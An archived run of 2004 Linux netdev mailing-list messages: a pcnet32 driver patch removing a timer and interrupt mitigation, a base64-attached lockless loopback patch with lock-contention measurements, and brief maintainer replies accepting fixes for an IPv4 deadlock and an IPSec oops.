2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:04:58 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL4VKO026329 for ; Fri, 21 May 2004 14:04:31 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL4Opj276814; Fri, 21 May 2004 17:04:24 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL4NIO397214; Fri, 21 May 2004 15:04:23 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKx5A10299; Fri, 21 May 2004 13:59:05 -0700 From: Don Fry Message-Id: <200405212059.i4LKx5A10299@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 5/5] 2.4.27-pre3 pcnet32 remove timer and complexity. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:59:04 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This removes the timer I recently added, and the 'ltint' interrupt mitigation from the 79C971 and 79C972. It did not improve performance, added complexity, and was a bad idea in hind sight. --- linux-2.4.27-pre3/drivers/net/size.pcnet32.c Fri May 21 12:37:14 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Fri May 21 12:37:18 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.29" -#define DRV_RELDATE "04.06.2004" +#define DRV_VERSION "1.30" +#define DRV_RELDATE "05.18.2004" #define PFX DRV_NAME ": " static const char *version = @@ -239,6 +239,8 @@ * identification code (blink led's) and register dump. * Don Fry added timer for 971/972 so skbufs don't remain on tx ring * forever. + * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt + * (ltint) as they added complexity and didn't give good throughput. */ @@ -343,7 +345,6 @@ char tx_full; int options; int shared_irq:1, /* shared irq possible */ - ltint:1, /* enable TxDone-intr inhibitor */ dxsuflo:1, /* disable transmit stop on uflo */ mii:1; /* mii port available */ struct net_device *next; @@ -998,7 +999,7 @@ struct pcnet32_private *lp; dma_addr_t lp_dma_addr; int i, media; - int fdx, mii, fset, dxsuflo, ltint; + int fdx, mii, fset, dxsuflo; int chip_version; char *chipname; struct net_device *dev; @@ -1030,7 +1031,7 @@ } /* initialize variables */ - fdx = mii = fset = dxsuflo = ltint = 0; + fdx = mii = fset = dxsuflo = 0; chip_version = (chip_version >> 12) & 0xffff; switch (chip_version) { @@ -1050,7 +1051,6 @@ case 0x2623: chipname = "PCnet/FAST 79C971"; /* PCI */ fdx = 1; mii = 1; fset = 1; - ltint = 1; break; case 0x2624: chipname = "PCnet/FAST+ 79C972"; /* PCI */ @@ -1103,14 +1103,6 @@ a->write_bcr(ioaddr, 18, (a->read_bcr(ioaddr, 18) | 0x0860)); a->write_csr(ioaddr, 80, (a->read_csr(ioaddr, 80) & 0x0C00) | 0x0c00); dxsuflo = 1; - ltint = 1; - } - - if (ltint) { - /* Enable timer to prevent skbuffs from remaining on the tx ring - * forever if no other tx being done. Set timer period to about - * 122 ms */ - a->write_bcr(ioaddr, 31, 0x253b); } dev = alloc_etherdev(0); @@ -1217,7 +1209,6 @@ lp->mii_if.phy_id_mask = 0x1f; lp->mii_if.reg_num_mask = 0x1f; lp->dxsuflo = dxsuflo; - lp->ltint = ltint; lp->mii = mii; lp->msg_enable = pcnet32_debug; if ((cards_found >= MAX_UNITS) || (options[cards_found] > sizeof(options_mapping))) @@ -1436,12 +1427,6 @@ } #endif - if (lp->ltint) { /* Enable TxDone-intr inhibitor */ - val = lp->a.read_csr (ioaddr, 5); - val |= (1<<14); - lp->a.write_csr (ioaddr, 5, val); - } - lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); pcnet32_load_multicast(dev); @@ -1459,11 +1444,6 @@ lp->a.write_csr (ioaddr, 4, 0x0915); lp->a.write_csr (ioaddr, 0, 0x0001); - if (lp->ltint) { - /* start the software timer */ - lp->a.write_csr(ioaddr, 7, 0x0400); /* set STINTE */ - } - netif_start_queue(dev); /* If we have mii, print the link status and start the watchdog */ @@ -1676,19 +1656,6 @@ * interrupt when that option is available to us. */ status = 0x8300; - entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; - if ((lp->ltint) && - ((entry == TX_RING_SIZE/3) || - (entry == (TX_RING_SIZE*2)/3) || - (entry >= TX_RING_SIZE-2))) - { - /* Enable Successful-TxDone interrupt if we have - * 1/3, 2/3 or nearly all of, our ring buffer Tx'd - * but not yet cleaned up. Thus, most of the time, - * we will not enable Successful-TxDone interrupts. - */ - status = 0x9300; - } /* Fill in a Tx ring entry */ @@ -1732,7 +1699,7 @@ struct net_device *dev = dev_id; struct pcnet32_private *lp; unsigned long ioaddr; - u16 csr0, csr7, rap; + u16 csr0,rap; int boguscnt = max_interrupt_work; int must_restart; @@ -1749,19 +1716,13 @@ spin_lock(&lp->lock); rap = lp->a.read_rap(ioaddr); - csr0 = lp->a.read_csr (ioaddr, 0); - csr7 = lp->ltint ? lp->a.read_csr(ioaddr, 7) : 0; - - while ((csr0 & 0x8600 || csr7 & 0x0800) && --boguscnt >= 0) { + while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { if (csr0 == 0xffff) { break; /* PCMCIA remove happened */ } /* Acknowledge all of the current interrupt sources ASAP. */ lp->a.write_csr (ioaddr, 0, csr0 & ~0x004f); - if (csr7 & 0x0800) - lp->a.write_csr(ioaddr, 7, csr7); - must_restart = 0; if (netif_msg_intr(lp)) @@ -1771,7 +1732,7 @@ if (csr0 & 0x0400) /* Rx interrupt */ pcnet32_rx(dev); - if (csr0 & 0x0200 || csr7 & 0x0800) { /* Tx-done or Timer interrupt */ + if (csr0 & 0x0200) { /* Tx-done interrupt */ unsigned int dirty_tx = lp->dirty_tx; int delta; @@ -1878,9 +1839,6 @@ lp->a.write_csr (ioaddr, 0, 0x0004); pcnet32_restart(dev, 0x0002); } - - csr0 = lp->a.read_csr (ioaddr, 0); - csr7 = lp->ltint ? lp->a.read_csr(ioaddr, 7) : 0; } /* Clear any other interrupt, and set interrupt enable. */ @@ -2025,10 +1983,6 @@ /* We stop the PCNET32 here -- it occasionally polls memory if we don't. */ lp->a.write_csr (ioaddr, 0, 0x0004); - if (lp->ltint) { /* Disable timer interrupts */ - lp->a.write_csr(ioaddr, 7, 0x0000); - } - /* * Switch back to 16bit mode to avoid problems with dumb * DOS packet driver after a warm reboot -- Don Fry brazilnut@us.ibm.com From akepner@sgi.com Fri May 21 14:21:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:21:31 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LLLOKO027084 for ; Fri, 21 May 2004 14:21:24 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with ESMTP id i4LL8kiv030469 for ; Fri, 21 May 2004 16:08:46 -0500 Received: from neteng.engr.sgi.com (neteng.engr.sgi.com [192.26.80.10]) by cthulhu.engr.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id i4LL8U7611783633; Fri, 21 May 2004 14:08:45 -0700 (PDT) Date: Fri, 21 May 2004 14:04:09 -0700 From: Arthur Kepner X-X-Sender: akepner@neteng.engr.sgi.com To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [PATCH] "lockless loopback" patch for 2.6.6 In-Reply-To: Message-ID: References: <20040512120810.464aaee6.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1072017398-1885880095-1085173449=:8333289" X-archive-position: 5220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akepner@sgi.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1072017398-1885880095-1085173449=:8333289 Content-Type: TEXT/PLAIN; charset=US-ASCII Lock contention on the loopback device can lead to poor performance, even an essentially hung system, on systems with many processors. For the loopback device, the only purpose that locking serves is to protect the device statistics. The attached patch keeps per-cpu statistics for the loopback device and removes all locking. The patch is against 2.6.6. Worst-case loopback lock contention (2.4 kernel) ================================================ The following 'lockstat' data was taken with a 2.4 kernel (though I expect similar results with 2.6). The test scenario is that N transmitters simultaneously send to N receivers, via the loopback, on an N cpu system. (This was an attempt to simulate a hang seen at a customer site on a large system.) N SPINLOCKS HOLD WAIT UTIL CON MEAN( MAX ) MEAN( MAX )(% CPU) NOWAIT SPIN NAME ------------------------------------------------------------------------------ 2 6.0% 3.9% 48us(1397us) 74us(1172us)(0.18%) 96.1% 3.9% loopback_dev+0x1c0 8 17.0% 19.3% 137us( 117ms) 841us( 118ms)( 2.5%) 80.7% 19.3% loopback_dev+0x1c0 31* 72.2% 88.4% 1262us( 73ms) 25ms( 814ms)(39.7%) 11.6% 88.4% loopback_dev+0x1c0 64 74.7% 89.9% 2814us(1068ms) 85ms(4925ms)(31.5%) 10.1% 89.9% loopback_dev+0x1c0 (* yes, 31, one processor was down on a 32p system) In the 64p case, the system is essentially unusable for interactive processes when running this test case. Throughput on the loopback device also scales very poorly. In fact, if more than approximately 16 processors are used, throughput decreases as more processors are added. With (the 2.4 version of) the patch, the system remains quite usable during the same test scenario and throughput scales much better. -- Arthur ---1072017398-1885880095-1085173449=:8333289 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="lockless_loopback.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: lockless loopback patch Content-Disposition: attachment; filename="lockless_loopback.patch" ZGlmZiAtTmF1ciBsaW51eC5vcmlnL2RyaXZlcnMvbmV0L2xvb3BiYWNrLmMg bGludXgvZHJpdmVycy9uZXQvbG9vcGJhY2suYw0KLS0tIGxpbnV4Lm9yaWcv ZHJpdmVycy9uZXQvbG9vcGJhY2suYwkyMDA0LTA1LTIxIDExOjAwOjI0LjAw MDAwMDAwMCAtMDcwMA0KKysrIGxpbnV4L2RyaXZlcnMvbmV0L2xvb3BiYWNr LmMJMjAwNC0wNS0yMSAxMTowNDowMC4wMDAwMDAwMDAgLTA3MDANCkBAIC0x MjMsNyArMTIzLDkgQEANCiAgKi8NCiBzdGF0aWMgaW50IGxvb3BiYWNrX3ht aXQoc3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IG5ldF9kZXZpY2UgKmRl dikNCiB7DQotCXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpzdGF0cyA9IGRl di0+cHJpdjsNCisJc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMgKmdsb2JhbF9z dGF0cyA9IGRldi0+cHJpdjsNCisJc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMg KnBlcmNwdV9zdGF0cyA9IDA7DQorCXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRz ICpsb2NhbF9zdGF0cyAgPSAwOw0KIA0KIAlza2Jfb3JwaGFuKHNrYik7DQog DQpAQCAtMTQyLDExICsxNDQsMTMgQEANCiAJfQ0KIA0KIAlkZXYtPmxhc3Rf cnggPSBqaWZmaWVzOw0KLQlpZiAobGlrZWx5KHN0YXRzKSkgew0KLQkJc3Rh dHMtPnJ4X2J5dGVzKz1za2ItPmxlbjsNCi0JCXN0YXRzLT50eF9ieXRlcys9 c2tiLT5sZW47DQotCQlzdGF0cy0+cnhfcGFja2V0cysrOw0KLQkJc3RhdHMt PnR4X3BhY2tldHMrKzsNCisJaWYgKGxpa2VseShnbG9iYWxfc3RhdHMpKSB7 DQorCQlwZXJjcHVfc3RhdHMgPSBnbG9iYWxfc3RhdHMgKyAxOw0KKwkJbG9j YWxfc3RhdHMgID0gJnBlcmNwdV9zdGF0c1tzbXBfcHJvY2Vzc29yX2lkKCld Ow0KKwkJbG9jYWxfc3RhdHMtPnJ4X2J5dGVzKz1za2ItPmxlbjsNCisJCWxv Y2FsX3N0YXRzLT50eF9ieXRlcys9c2tiLT5sZW47DQorCQlsb2NhbF9zdGF0 cy0+cnhfcGFja2V0cysrOw0KKwkJbG9jYWxfc3RhdHMtPnR4X3BhY2tldHMr KzsNCiAJfQ0KIA0KIAluZXRpZl9yeChza2IpOw0KQEAgLTE1Niw3ICsxNjAs MjIgQEANCiANCiBzdGF0aWMgc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMgKmdl dF9zdGF0cyhzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0KIHsNCi0JcmV0dXJu IChzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cyAqKWRldi0+cHJpdjsNCisJaW50 IGk7DQorCXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpnbG9iYWxfc3RhdHMg PSBkZXYtPnByaXY7DQorCXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpwZXJj cHVfc3RhdHMgPSAwOw0KKw0KKwlpZiAoZ2xvYmFsX3N0YXRzKSB7DQorCQlw ZXJjcHVfc3RhdHMgPSBnbG9iYWxfc3RhdHMgKyAxOw0KKwkJLyogemVybyB0 aGUgc3lzdGVtLXdpZGUgc3RhdHMgKi8NCisJCW1lbXNldChnbG9iYWxfc3Rh dHMsIDAsIHNpemVvZihzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cykpOw0KKwkJ Zm9yICggaSA9IDA7IGkgPCBOUl9DUFVTOyBpKysgKSB7DQorCQkJZ2xvYmFs X3N0YXRzLT5yeF9ieXRlcyAgICs9IHBlcmNwdV9zdGF0c1tpXS5yeF9ieXRl czsNCisJCQlnbG9iYWxfc3RhdHMtPnR4X2J5dGVzICAgKz0gcGVyY3B1X3N0 YXRzW2ldLnR4X2J5dGVzOw0KKwkJCWdsb2JhbF9zdGF0cy0+cnhfcGFja2V0 cyArPSBwZXJjcHVfc3RhdHNbaV0ucnhfcGFja2V0czsNCisJCQlnbG9iYWxf c3RhdHMtPnR4X3BhY2tldHMgKz0gcGVyY3B1X3N0YXRzW2ldLnR4X3BhY2tl dHM7DQorCQl9DQorCX0NCisJcmV0dXJuIGdsb2JhbF9zdGF0czsNCiB9DQog DQogc3RydWN0IG5ldF9kZXZpY2UgbG9vcGJhY2tfZGV2ID0gew0KQEAgLTE4 MSwxMyArMjAwLDE5IEBADQogew0KIAlzdHJ1Y3QgbmV0X2RldmljZV9zdGF0 cyAqc3RhdHM7DQogDQorI2RlZmluZSBOUl9MT09QX1NUQVRTIChOUl9DUFVT ICsgMSkNCisJLyogdGhlIGZpcnN0IG5ldF9kZXZpY2Vfc3RhdHMgc3RydWN0 dXJlIGlzIGZvciB0aGUgd2hvbGUgc3lzdGVtLCB0aGUgDQorCSAqIHJlbWFp bmluZyBOUl9DUFVTIG9mIHRoZW0gYXJlIGZvciBlYWNoIGNwdSAqLw0KKw0K IAkvKiBDYW4gc3Vydml2ZSB3aXRob3V0IHN0YXRpc3RpY3MgKi8NCi0Jc3Rh dHMgPSBrbWFsbG9jKHNpemVvZihzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cyks IEdGUF9LRVJORUwpOw0KKwlzdGF0cyA9IGttYWxsb2MoTlJfTE9PUF9TVEFU UyAqIHNpemVvZihzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cyksIEdGUF9LRVJO RUwpOw0KKw0KIAlpZiAoc3RhdHMpIHsNCi0JCW1lbXNldChzdGF0cywgMCwg c2l6ZW9mKHN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzKSk7DQorCQltZW1zZXQo c3RhdHMsIDAsIE5SX0xPT1BfU1RBVFMgKiBzaXplb2Yoc3RydWN0IG5ldF9k ZXZpY2Vfc3RhdHMpKTsNCiAJCWxvb3BiYWNrX2Rldi5wcml2ID0gc3RhdHM7 DQogCQlsb29wYmFja19kZXYuZ2V0X3N0YXRzID0gJmdldF9zdGF0czsNCiAJ fQ0KKyN1bmRlZiAgTlJfTE9PUF9TVEFUUw0KIAkNCiAJcmV0dXJuIHJlZ2lz dGVyX25ldGRldigmbG9vcGJhY2tfZGV2KTsNCiB9Ow0KZGlmZiAtTmF1ciBs aW51eC5vcmlnL25ldC9jb3JlL2Rldi5jIGxpbnV4L25ldC9jb3JlL2Rldi5j DQotLS0gbGludXgub3JpZy9uZXQvY29yZS9kZXYuYwkyMDA0LTA1LTIxIDEx OjAxOjAxLjAwMDAwMDAwMCAtMDcwMA0KKysrIGxpbnV4L25ldC9jb3JlL2Rl di5jCTIwMDQtMDUtMjEgMTE6MDM6NDQuMDAwMDAwMDAwIC0wNzAwDQpAQCAt MTI5NSw2ICsxMjk1LDcgQEANCiAJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9 IHNrYi0+ZGV2Ow0KIAlzdHJ1Y3QgUWRpc2MgKnE7DQogCWludCByYyA9IC1F Tk9NRU07DQorCWludCBsb29wYmFjayA9IGRldi0+ZmxhZ3MgJiBJRkZfTE9P UEJBQ0s7DQogDQogCWlmIChza2Jfc2hpbmZvKHNrYiktPmZyYWdfbGlzdCAm Jg0KIAkgICAgIShkZXYtPmZlYXR1cmVzICYgTkVUSUZfRl9GUkFHTElTVCkg JiYNCkBAIC0xMzIyLDE3ICsxMzIzLDE5IEBADQogCX0NCiANCiAJLyogR3Jh YiBkZXZpY2UgcXVldWUgKi8NCi0Jc3Bpbl9sb2NrX2JoKCZkZXYtPnF1ZXVl X2xvY2spOw0KLQlxID0gZGV2LT5xZGlzYzsNCi0JaWYgKHEtPmVucXVldWUp IHsNCi0JCXJjID0gcS0+ZW5xdWV1ZShza2IsIHEpOw0KKwlpZiAoIWxvb3Bi YWNrKSB7DQorCQlzcGluX2xvY2tfYmgoJmRldi0+cXVldWVfbG9jayk7DQor CQlxID0gZGV2LT5xZGlzYzsNCisJCWlmIChxLT5lbnF1ZXVlKSB7DQorCQkJ cmMgPSBxLT5lbnF1ZXVlKHNrYiwgcSk7DQogDQotCQlxZGlzY19ydW4oZGV2 KTsNCisJCQlxZGlzY19ydW4oZGV2KTsNCiANCi0JCXNwaW5fdW5sb2NrX2Jo KCZkZXYtPnF1ZXVlX2xvY2spOw0KLQkJcmMgPSByYyA9PSBORVRfWE1JVF9C WVBBU1MgPyBORVRfWE1JVF9TVUNDRVNTIDogcmM7DQotCQlnb3RvIG91dDsN Ci0JfQ0KKwkJCXNwaW5fdW5sb2NrX2JoKCZkZXYtPnF1ZXVlX2xvY2spOw0K KwkJCXJjID0gcmMgPT0gTkVUX1hNSVRfQllQQVNTID8gTkVUX1hNSVRfU1VD Q0VTUyA6IHJjOw0KKwkJCWdvdG8gb3V0Ow0KKwkJfQ0KKwl9IC8qICFsb29w YmFjayAqLw0KIA0KIAkvKiBUaGUgZGV2aWNlIGhhcyBubyBxdWV1ZS4gQ29t bW9uIGNhc2UgZm9yIHNvZnR3YXJlIGRldmljZXM6DQogCSAgIGxvb3BiYWNr LCBhbGwgdGhlIHNvcnRzIG9mIHR1bm5lbHMuLi4NCkBAIC0xMzU0LDExICsx MzU3LDEzIEBADQogCQkJICogVGhlIHNwaW5fbG9jayBlZmZlY3Rpdmx5IGRv ZXMgYSBwcmVlbXB0IGxvY2ssIGJ1dCANCiAJCQkgKiB3ZSBhcmUgYWJvdXQg dG8gZHJvcCB0aGF0Li4uDQogCQkJICovDQotCQkJcHJlZW1wdF9kaXNhYmxl KCk7DQotCQkJc3Bpbl91bmxvY2soJmRldi0+cXVldWVfbG9jayk7DQotCQkJ c3Bpbl9sb2NrKCZkZXYtPnhtaXRfbG9jayk7DQotCQkJZGV2LT54bWl0X2xv Y2tfb3duZXIgPSBjcHU7DQotCQkJcHJlZW1wdF9lbmFibGUoKTsNCisJCQlp ZiAoIWxvb3BiYWNrKSB7DQorCQkJCXByZWVtcHRfZGlzYWJsZSgpOw0KKwkJ CQlzcGluX3VubG9jaygmZGV2LT5xdWV1ZV9sb2NrKTsNCisJCQkJc3Bpbl9s b2NrKCZkZXYtPnhtaXRfbG9jayk7DQorCQkJCWRldi0+eG1pdF9sb2NrX293 bmVyID0gY3B1Ow0KKwkJCQlwcmVlbXB0X2VuYWJsZSgpOw0KKwkJCX0NCiAN CiAJCQlpZiAoIW5ldGlmX3F1ZXVlX3N0b3BwZWQoZGV2KSkgew0KIAkJCQlp ZiAobmV0ZGV2X25pdCkNCkBAIC0xMzY2LDEzICsxMzcxLDE3IEBADQogDQog CQkJCXJjID0gMDsNCiAJCQkJaWYgKCFkZXYtPmhhcmRfc3RhcnRfeG1pdChz a2IsIGRldikpIHsNCi0JCQkJCWRldi0+eG1pdF9sb2NrX293bmVyID0gLTE7 DQotCQkJCQlzcGluX3VubG9ja19iaCgmZGV2LT54bWl0X2xvY2spOw0KKwkJ CQkJaWYgKCFsb29wYmFjaykgew0KKwkJCQkJCWRldi0+eG1pdF9sb2NrX293 bmVyID0gLTE7DQorCQkJCQkJc3Bpbl91bmxvY2tfYmgoJmRldi0+eG1pdF9s b2NrKTsNCisJCQkJCX0NCiAJCQkJCWdvdG8gb3V0Ow0KIAkJCQl9DQogCQkJ fQ0KLQkJCWRldi0+eG1pdF9sb2NrX293bmVyID0gLTE7DQotCQkJc3Bpbl91 bmxvY2tfYmgoJmRldi0+eG1pdF9sb2NrKTsNCisJCQlpZiAoIWxvb3BiYWNr KSB7DQorCQkJCWRldi0+eG1pdF9sb2NrX293bmVyID0gLTE7DQorCQkJCXNw aW5fdW5sb2NrX2JoKCZkZXYtPnhtaXRfbG9jayk7DQorCQkJfQ0KIAkJCWlm IChuZXRfcmF0ZWxpbWl0KCkpDQogCQkJCXByaW50ayhLRVJOX0NSSVQgIlZp cnR1YWwgZGV2aWNlICVzIGFza3MgdG8gIg0KIAkJCQkgICAgICAgInF1ZXVl IHBhY2tldCFcbiIsIGRldi0+bmFtZSk7DQpAQCAtMTM4NSw3ICsxMzk0LDgg QEANCiAJCQkJICAgICAgICIlcywgZml4IGl0IHVyZ2VudGx5IVxuIiwgZGV2 LT5uYW1lKTsNCiAJCX0NCiAJfQ0KLQlzcGluX3VubG9ja19iaCgmZGV2LT5x dWV1ZV9sb2NrKTsNCisJaWYgKCFsb29wYmFjaykNCisJCXNwaW5fdW5sb2Nr X2JoKCZkZXYtPnF1ZXVlX2xvY2spOw0KIG91dF9lbmV0ZG93bjoNCiAJcmMg PSAtRU5FVERPV047DQogb3V0X2tmcmVlX3NrYjoNCg== ---1072017398-1885880095-1085173449=:8333289-- From davem@redhat.com Fri May 21 14:40:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:40:24 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LLeHKO027919 for ; Fri, 21 May 2004 14:40:20 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4LLeEGG013195; Fri, 21 May 2004 17:40:14 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4LLeE003340; Fri, 21 May 2004 17:40:14 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4LLeBhk031294; Fri, 21 May 2004 17:40:12 -0400 Date: Fri, 21 May 2004 14:40:06 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: dead lock in error path Message-Id: <20040521144006.26558046.davem@redhat.com> In-Reply-To: <20040521.172329.15140532.yoshfuji@linux-ipv6.org> References: <20040521.172329.15140532.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4LLeHKO027919 X-archive-position: 5221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 21 May 2004 17:23:29 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > We forgot to release ipip_lock in error path. Good spotting, applied. From davem@redhat.com Fri May 21 14:44:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:44:05 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LLi1KO028251 for ; Fri, 21 May 2004 14:44:02 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4LLhsGG013881; Fri, 21 May 2004 17:43:54 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4LLhr004176; Fri, 21 May 2004 17:43:53 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4LLhphk032595; Fri, 21 May 2004 17:43:51 -0400 Date: Fri, 21 May 2004 14:43:46 -0700 From: "David S. Miller" To: Herbert Xu Cc: bergonz@nospam.org, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-Id: <20040521144346.7887dbf0.davem@redhat.com> In-Reply-To: <20040521131950.GA20040@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> <20040521131950.GA20040@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 21 May 2004 23:19:50 +1000 Herbert Xu wrote: > doing a mod_timer on a live state without holding a lock or for that > matter not even checking whether the state is dead is definitely a bad > idea Applied, thanks Herbert. From shemminger@osdl.org Fri May 21 14:45:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:45:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LLjsKO028570 for ; Fri, 21 May 2004 14:45:54 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LLjaJ05590; Fri, 21 May 2004 14:45:36 -0700 Date: Fri, 21 May 2004 14:45:36 -0700 From: Stephen Hemminger To: Arthur Kepner Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] "lockless loopback" patch for 2.6.6 Message-Id: <20040521144536.250ca1a2@dell_ss3.pdx.osdl.net> In-Reply-To: References: <20040512120810.464aaee6.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Fri, 21 May 2004 14:04:09 -0700 Arthur Kepner wrote: > > Lock contention on the loopback device can lead to poor > performance, even an essentially hung system, on systems > with many processors. > > For the loopback device, the only purpose that locking serves > is to protect the device statistics. The attached patch > keeps per-cpu statistics for the loopback device and removes > all locking. The patch is against 2.6.6. The problem is more general than just loopback. This kind of special case hack is the right thing. Really fast network devices will have the same issues. > diff -Naur linux.orig/drivers/net/loopback.c linux/drivers/net/loopback.c > --- linux.orig/drivers/net/loopback.c 